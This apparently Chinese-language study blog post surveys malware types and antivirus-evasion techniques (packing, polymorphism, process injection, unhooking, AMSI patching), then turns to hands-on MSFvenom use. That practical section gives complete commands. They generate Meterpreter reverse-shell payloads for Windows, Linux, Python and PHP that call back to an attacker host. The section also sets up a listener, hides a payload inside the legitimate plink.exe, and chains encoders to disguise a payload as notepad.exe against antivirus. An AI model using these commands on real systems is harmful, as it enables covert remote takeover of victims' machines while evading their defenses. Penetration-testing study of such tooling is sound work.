杀软绕过技术和MSFvenom编码器学习

文章目录

  • [一 恶意软件](#一 恶意软件)
  • [二 绕过杀毒软件的主流技术](#二 绕过杀毒软件的主流技术)
    • [2.1 基于磁盘的逃避检测技术](#2.1 基于磁盘的逃避检测技术)
    • [2.2 基于内存的逃避检测技术](#2.2 基于内存的逃避检测技术)
    • [2.3 基于 PowerShell 脚本的内存注入](#2.3 基于 PowerShell 脚本的内存注入)
      • [2.3.1 无文件执行](#2.3.1 无文件执行)
      • [2.3.2 反射式DLL注入](#2.3.2 反射式DLL注入)
      • [2.3.3 利用 AMSI (Anti-Malware Scan Interface) 绕过](#2.3.3 利用 AMSI (Anti-Malware Scan Interface) 绕过)
      • [2.3.4 三种技术总结](#2.3.4 三种技术总结)
  • [三 MSFvenom](#三 MSFvenom)
    • [3.1 MSFvenom核心常用参数详解](#3.1 MSFvenom核心常用参数详解)
    • [3.2 MSFvenom使用案例](#3.2 MSFvenom使用案例)
      • [3.2.1 案例 1:生成一个标准的 Windows Meterpreter 反向 Shell](#3.2.1 案例 1:生成一个标准的 Windows Meterpreter 反向 Shell)
      • [3.2.2 案例 2:生成一个 Linux 的反向 Shell](#3.2.2 案例 2:生成一个 Linux 的反向 Shell)
      • [3.2.3 案例 3:生成一个 Python 脚本的 Payload](#3.2.3 案例 3:生成一个 Python 脚本的 Payload)
      • [3.2.4 案例 4:使用编码和模板进行简易免杀](#3.2.4 案例 4:使用编码和模板进行简易免杀)
      • [3.2.5 案例 5:生成一个 Web Shell(如 PHP)](#3.2.5 案例 5:生成一个 Web Shell(如 PHP))
    • [3.3 MSF编码器绕过杀软查杀](#3.3 MSF编码器绕过杀软查杀)

一 恶意软件

  • 恶意软件(malware=malicious software)指代码或payload或文件,通过不同的方式渗透并破坏终端。如获取终端的完整访问权限、窃取密码等敏感信息、加密文件索取赎金、破坏用户体验等。
  • 恶意软件的类型分为:
  1. 病毒(Virus):在系统中自我复制的恶意软件类型;
  2. 蠕虫(Worm):旨在整个网络中传播、感染终端以执行恶意操作的恶意软件,可作为其他恶意软件的组件集成;
  3. Rootkit:存在于操作系统较底层且通常具有高权限的恶意软件,常用于隐藏其他恶意文件;
  4. Downloader:从互联网下载并运行其他恶意文件的恶意软件,目的是伤害用户;
  5. 勒索软件(Ransomware):加密终端用户文件并要求支付赎金,用户付费后才能访问文件的恶意软件;
  6. 僵尸网络(Botnet):使受感染计算机成为大网络"肉鸡"的恶意软件,受害者会接收攻击者指令,甚至参与后续攻击;
  7. 后门(Backdoor):为攻击者留下持续访问用户终端通道的恶意软件;
  8. 潜在有害程序(PUP):包含恶意软件,向用户呈现不良内容(如广告)的程序;
  9. 恐吓软件(Scareware):提供安装终端虚假数据以恐吓用户执行恶意操作(如安装假冒防病毒软件或付费)的恶意软件;
  10. Dropper:将自身组件植入硬盘的恶意软件;
  11. 间谍软件(Spyware):监视用户、窃取信息并出售牟利的恶意软件;
  12. 特洛伊木马(Trojan):伪装成合法应用程序(如杀毒软件、免费游戏等),实则包含恶意功能的恶意软件。

二 绕过杀毒软件的主流技术

  • 这些技术的核心思想是:避免在磁盘上留下可被静态扫描识别的恶意特征,或在内存中隐藏恶意行为,使其难以被动态监控和分析。

2.1 基于磁盘的逃避检测技术

  • 这类技术主要针对杀毒软件的静态扫描能力。静态扫描会在文件不运行时,检查其代码、字符串、文件结构、数字签名等是否与已知的恶意软件特征库匹配。
  1. 加密与加壳(最基础也是最广泛使用的技术)
  • 原理:将恶意代码的主体部分进行加密或压缩,形成一个"外壳"。程序运行时,一小段不被检测的"存根"代码会先执行,在内存中解密或解压出真正的恶意代码,然后跳转执行。
  • 效果:杀毒软件在磁盘上只能看到加密后的无意义数据,无法匹配到恶意特征。只有当恶意代码在内存中解密后,才可能被动态检测发现。
  • 常见工具:UPX(压缩)、自定义加密壳、商业加壳工具。
  1. 多态与变形
    这是加壳技术的进化版,对抗的是"通用脱壳"和"启发式扫描"。
  • 多态
    • 原理:恶意软件在每次传播或复制时,都会使用不同的算法或密钥对自己的代码进行加密。其解密存根代码也会随之改变,但核心恶意逻辑保持不变。
    • 效果:同一个恶意软件的每个样本在磁盘上看起来都完全不同,导致基于固定特征码的检测完全失效。
  • 变形
    • 原理 :比多态更进一步,它会重写恶意代码本身,通过插入无用指令(如 NOP)、交换等价指令顺序、改变寄存器使用等方式,在保持功能不变的前提下,生成一个全新的、语法上合法的程序。
    • 效果:不仅加密部分在变,连代码结构本身都在变,极难通过静态分析识别其恶意意图。
  1. 文件less 攻击的磁盘层面准备
    虽然最终是无文件攻击,但其初始阶段也可能涉及磁盘操作。
  • 原理 :攻击者不直接写入 .exe 等可执行文件,而是将恶意脚本(如 PowerShell、VBS)、宏代码或 Shellcode 写入到非可疑位置,如注册表、事件日志、ADS(Alternate Data Streams,备用数据流)中。
  • 效果:杀毒软件通常不会将这些位置作为重点扫描对象,从而绕过了文件系统的监控。

2.2 基于内存的逃避检测技术

这类技术主要针对安全软件的动态行为监控内存扫描。EDR 等高级防护工具会监控进程行为、API 调用和内存内容,以发现恶意活动。

  1. 进程注入
    这是内存攻击的核心技术,目的是将恶意代码注入到一个合法、受信任的进程中执行,从而"伪装"自己。
  • 原理 :攻击者获取目标进程(如 explorer.exe, svchost.exe)的句柄,在该进程的内存空间中分配一块区域,写入恶意代码(Shellcode),然后创建一个新的远程线程来执行这段代码。
  • 效果:从外部看,所有恶意行为都是由一个合法进程发起的,可以有效混淆安全软件的进程溯源和父子关系分析。
  1. 内存模块隐匿
    当恶意代码以 DLL 形式注入后,它会出现在目标进程的模块列表中,容易被发现。
  • 原理:通过直接操作进程环境块或使用未导出的 Windows API,将加载的恶意 DLL 模块从进程的模块链表中"摘除"。
  • 效果:即使安全工具扫描进程内存,也看不到这个 DLL 的存在,实现了"隐形"。
  1. API Hooking 绕过
    恶意软件需要调用 Windows API 来执行操作(如创建文件、建立网络连接),而 EDR 正是通过 Hook 这些 API 来监控行为的。
  • 原理
    • 直接系统调用 :绕过封装好的 Win32 API(如 Kernel32.dll 中的函数),直接通过 syscall/int 0x2e 指令调用底层的内核函数(ntdll.dll 中的 Nt* 系列函数)。因为 EDR 主要 Hook 上层 API,直接调用底层可以绕过监控。
    • Unhooking:恶意代码在运行前,先找到被 EDR Hook 了的函数,将其原始字节从内存中恢复,然后再正常调用,从而"解除"EDR的监控。
    • Fresh Copy :将 ntdll.dll 的新副本从磁盘重新加载到内存中,然后从这个未被 Hook 的副本中调用 API。

2.3 基于 PowerShell 脚本的内存注入

  • 这是一种结合了上述多种思想的、高度灵活且隐蔽的攻击手法,在红队攻击中极为流行。PowerShell 本身是 Windows 自带的强大管理工具,天然受信任,这为攻击者提供了绝佳的掩护。

2.3.1 无文件执行

  • 原理 :攻击者不落地任何 .ps1 脚本文件。他们通过 mshta.exerundll32.exe 或其他方式,直接从远程服务器(如 C2 服务器)下载 PowerShell 脚本,并使用 -enc(编码执行)或 -w hidden(隐藏窗口)等参数,让 powershell.exe 直接在内存中解释执行。
  • 效果:磁盘上没有任何恶意脚本文件,彻底绕过了基于文件的静态检测。

2.3.2 反射式DLL注入

这是 PowerShell 内存注入的"杀手锏"。

  • 原理
    1. 攻击者在 PowerShell 中读取一个恶意 DLL 文件的原始字节到内存中。
    2. 在内存中手动模拟 Windows 加载器的工作:分配内存、解析 PE 头、处理重定位、解析导入表等。
    3. 最后,直接调用 DLL 的入口点(如 DllMain)或导出函数,完成加载和执行。
  • 效果 :整个 DLL 从读取到执行完全在内存中完成,没有调用 LoadLibrary 等 API,不会在磁盘上留下痕迹,也不会在进程模块列表中留下记录。这是最隐蔽的注入方式之一。

2.3.3 利用 AMSI (Anti-Malware Scan Interface) 绕过

微软为了防御脚本攻击,引入了 AMSI,它可以在脚本运行前将其内容提交给杀毒软件进行扫描。

  • 原理 :PowerShell 恶意脚本会尝试在内存中找到 amsi.dll,并 Patch(修改)其 AmsiScanBuffer 函数,使其永远返回"扫描结果为干净"。
  • 效果:即使恶意脚本内容被 AMSI 拦截,通过修改 AMSI 的行为,脚本也能成功执行,从而绕过了这最后一道防线。

2.3.4 三种技术总结

技术类别 核心思想 主要对抗目标 典型手法
基于磁盘的逃避 让磁盘上的文件看起来"干净"或"不同" AV静态扫描、特征码匹配 加密/加壳、多态/变形、写入非可疑位置
基于内存的逃避 在内存中隐藏代码、混淆行为 EDR动态监控、内存扫描、API Hook 进程注入、模块隐匿、直接系统调用、Unhooking
PowerShell内存注入 利用可信工具,实现全程无文件、隐蔽加载 AV/EDR的文件和行为监控 无文件执行、反射式DLL注入、AMSI绕过

  • 现代高级恶意软件和攻击者通常不会只使用单一技术,而是将上述技术组合使用,形成一套复杂的、多阶段的攻击链,以最大限度地提高绕过防御的成功率。

三 MSFvenom

  • MSFvenom 是 Metasploit 框架中用于生成Payload(有效载荷) 和编码的工具。它合并了旧版 msfpayload 和 msfencode 工具的功能,成为一站式Payload生成器。
  • 简单来说,它的核心作用是:根据你提供的参数,生成一个能在目标系统上运行的"小程序"(即Payload)。 当这个程序在目标上被执行时,它会与攻击者机器上的 Metasploit 监听器(handler) 建立连接,从而为攻击者提供一个 shell (如 cmd, bash)或 Meterpreter 会话,实现对目标的控制。

3.1 MSFvenom核心常用参数详解

MSFvenom 的参数主要分为以下几类:

  1. Payload 相关(必选项)
  • -p, --payload <payload>: 指定要使用的 Payload。这是最重要的参数,决定了生成的可执行文件的行为。例如:windows/x64/meterpreter/reverse_tcp
  • --list payloads: 列出所有可用的 Payload。可以通过 grep 过滤,如 msfvenom --list payloads | grep windows
  1. 输出格式相关(必选项)
  • -f, --format <format>: 指定 Payload 的输出格式。常见格式:
    • exe: Windows 可执行文件
    • elf: Linux 可执行文件
    • asp, aspx: ASP 脚本
    • jsp: Java Server Pages 脚本
    • war: Java Web 应用程序归档(用于 Tomcat 等)
    • python, raw, c: 各种语言格式或原始字节码
    • --list formats: 列出所有可用的输出格式。
  1. 选项设置(设置 Payload 参数)

    • LHOST=<IP>: 监听器的 IP 地址(即你的攻击机 IP)。
    • LPORT=<PORT>: 监听器监听的端口。
    • -o, --out <path>: 将生成的有效载荷保存到指定文件。(如果不使用此参数,Payload 会直接输出到屏幕)
  2. 编码器相关(用于免杀和绕过)

  • -e, --encoder <encoder>: 指定使用的编码器。编码可以改变 Payload 的代码 signature,以绕过简单的杀毒软件(AV)检测。
    *常见编码器:x86/shikata_ga_nai(非常经典)
  • -i <iterations>: 指定编码的迭代次数(通常 5-10 次即可,过多可能不稳定)。
  • --list encoders: 列出所有可用的编码器。
  1. 模板相关
  • -x, --template <path>: 指定一个现有的可执行文件作为模板,将 Payload 嵌入其中。这是一种常见的免杀技术,让恶意代码藏身于正常程序中(如 putty.exe)。
  1. 平台和架构
  • --platform <platform>: 指定目标平台(如 windows, linux)。
  • -a, --arch <architecture>: 指定目标架构(如 x86, x64)。
    *通常 Payload 名称里已经包含了平台和架构信息,所以这两个参数不常用。
  1. 坏字符过滤
  • -b <chars>: 从 Payload 中移除指定字符。在某些漏洞利用场景(如缓冲区溢出)中,某些字符(如 \x00空字节)会终止进程,需要过滤掉。

3.2 MSFvenom使用案例

3.2.1 案例 1:生成一个标准的 Windows Meterpreter 反向 Shell

生成 Payload:

bash 复制代码
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o malicious.exe
  • -p windows/x64/meterpreter/reverse_tcp: 使用 64 位 Windows 的 Meterpreter 反向 TCP Payload。
  • LHOST=192.168.1.100: 将 192.168.1.100 替换为你攻击机的 IP。
  • LPORT=4444: 监听端口。
  • -f exe: 输出为 Windows exe 文件。
  • -o malicious.exe: 保存为 malicious.exe

启动监听器 (在MSFconsole中):

bash 复制代码
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.1.100
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > run
  • 只要目标机器运行 malicious.exe,就能在 msfconsole 中获得一个 Meterpreter 会话。

3.2.2 案例 2:生成一个 Linux 的反向 Shell

bash 复制代码
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f elf -o payload.elf
  • -p linux/x64/...: 指定 Linux Payload。
  • -f elf: 输出为 ELF 格式(Linux 可执行文件)。

3.2.3 案例 3:生成一个 Python 脚本的 Payload

bash 复制代码
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw -o shell.py
  • 生成的 shell.py 文件需要在有 Python 环境的目标上运行。

3.2.4 案例 4:使用编码和模板进行简易免杀

bash 复制代码
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -e x86/shikata_ga_nai -i 10 -x /usr/share/windows-binaries/plink.exe -f exe -o malicious_av.exe
  • -e x86/shikata_ga_nai -i 10: 使用 shikata_ga_nai 编码器编码 10 次。
  • -x /path/to/plink.exe: 使用 plink.exe(一个合法的 SSH 命令行工具)作为模板。最终生成的文件看起来是 plink.exe,但实际运行后会同时执行 Payload 和原有程序。

3.2.5 案例 5:生成一个 Web Shell(如 PHP)

bash 复制代码
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw -o shell.php

shell.php 上传到有漏洞的 Web 服务器,然后访问它来触发连接。


3.3 MSF编码器绕过杀软查杀

  • MSF编码器的作用是对生成的Payload进行特殊的转码处理,如可以通过xor加密,然后继续使用编码的方式对其做双层免杀,能很有效地绕过杀毒软件的检测。
  • 查看msfvenom的编码器
bash 复制代码
(base) ┌──(root㉿Kali)-[~]
└─# msfvenom -l encoders

Framework Encoders [--encoder <value>]
======================================

    Name                          Rank       Description
    ----                          ----       -----------
    ...
    cmd/powershell_base64         excellent  Powershell Base64 Command Encoder
    ...
    x86/shikata_ga_nai            excellent  Polymorphic XOR Additive Feedback Encoder
    ...
  • 推荐编码器cmd/powershell_base64x86/shikata_ga_nai
  • 常用选项
    • -i <iterations>: 指定编码的迭代次数(5-10 次)。
    • -e, --encoder <encoder>: 指定使用的编码器。编码可以改变 Payload 的代码 signature,以绕过简单的杀毒软件(AV)检测。
    • -b --bad-chars<list>:指定规避字符集,设置需要过滤的坏字符。
    • -x --template<path>指定一个正常的可执行文件作为Payload的注入模板。
  • 免杀(Antivirus Evasion): MSFvenom 生成的默认 Payload 已被所有主流杀毒软件标记。简单的编码(-e)和模板(-x)只能绕过非常基础的 AV。真正的免杀需要更高级的技术,如自定义编码器、密码器(msfvenom 的 -k 参数已失效)、或使用其他框架(如 Veil, Shellter, Cobalt Strike)。
bash 复制代码
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.111.128 LPORT=4446 -e x86/shikata_ga_nai -i 16 -f exe -o shell_test.exe
  • 使用多个编码器生成payload,下图中分行命令仅用于方便阅读,请使用一行命令执行。然后上传到https://www.virustotal.com/进行检测。
bash 复制代码
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.195.9 LPORT=4446 -e x86/shikata_ga_nai -i 16 -f raw | 
msfvenom -e x86/shikata_ga_nai -i 10 -a x86 --platform windows -f raw | 
msfvenom -e x86/countdown -a x86 --platform windows -i 10 -f raw | 
msfvenom -e x86/alpha_upper -a x86 --platform windows -i 5 -f exe -o notepad.exe
bash 复制代码
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.195.9 LPORT=4446 -e x86/shikata_ga_nai -i 16 -f raw | msfvenom -e x86/shikata_ga_nai -i 10 -a x86 --platform windows -f raw | msfvenom -e x86/countdown -a x86 --platform windows -i 10 -f raw | msfvenom -e x86/alpha_upper -a x86 --platform windows -i 5 -f exe -o notepad.exe
相关推荐
●VON2 小时前
重生之我在大学自学鸿蒙开发第一天-《基础篇》
学习·华为·harmonyos·鸿蒙
程序猿阿伟2 小时前
《3D动作游戏受击反馈:从模板化硬直到沉浸式打击感的开发拆解》
前端·网络·3d
Ronin3053 小时前
【Linux网络】Socket编程:TCP网络编程
linux·网络·网络编程·tcp
ooo-p3 小时前
FPGA学习篇——Verilog学习之分频器的实现
学习·fpga开发
夕泠爱吃糖3 小时前
TCP中的拥塞控制
网络·tcp/ip·智能路由器·拥塞控制
Miki Makimura3 小时前
UDP可靠性传输指南:从基础机制到KCP协议核心解析
网络·网络协议·学习·udp
不会c嘎嘎3 小时前
Linux -- 网络层
linux·运维·网络
少年、潜行3 小时前
IMX6ULL学习笔记_Boot和裸机篇(6)--- IMX6ULL简单SHELL以及SEGGER ES的Printf和字节对齐问题
笔记·学习·imx6ull·字节对齐·printf格式化
黄沐阳4 小时前
网络产品报价指南--S5735系列交换机
运维·服务器·网络·智能路由器